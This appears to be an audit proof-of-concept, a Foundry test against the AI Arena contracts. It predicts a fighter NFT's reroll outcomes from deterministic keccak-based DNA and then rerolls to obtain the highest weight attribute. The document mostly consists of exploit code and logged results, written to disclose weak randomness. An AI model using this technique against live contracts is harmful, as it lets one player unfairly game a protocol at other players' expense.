AI Arena POC - A user can game the protocol through weight and element manipulation

AIArenaPOC.sol

function testDnaManipulation() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);

        (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

        console.log("Owner Addr: ", player);        // 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
        console.log("Original Weight: ", weight);   // 80
        
        uint256 bestWeight = weight;
        // arbitrary huge number
        uint256 bestReroll = 99999;        
        for (uint256 i = 1; i < 4; i++) {
            // How DNA is calculated
            // uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            uint256 expectedDna = uint256(keccak256(abi.encode(player, tokenId, i)));

            // How weight is calculated
            // uint256 weight = dna % 31 + 65;
            uint256 expectedWeight = expectedDna % 31 + 65;
            if (bestWeight < expectedWeight) {
                bestReroll = i;
                bestWeight = expectedWeight;
            }
        }
        console.log("-----------------------------------------");
        console.log("BEST REROLL: ", bestReroll);
        console.log("BEST WEIGHT: ", bestWeight);
        console.log("-----------------------------------------");

        // if rerolling is even worth it
        if (bestReroll != 99999) {
            uint8 fighterType = 0;
            _neuronContract.addSpender(address(_fighterFarmContract));
            for (uint256 i = 1; i < 4; i++) {
                vm.prank(player);
                _fighterFarmContract.reRoll(tokenId, fighterType);
                (,,uint256 newWeight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

                console.log("Actual Reroll: ", i);
                console.log("Actual Weight: ", newWeight);

                if (bestReroll == i) {
                    assertEq(newWeight, bestWeight);
                }                
            }
        }
    }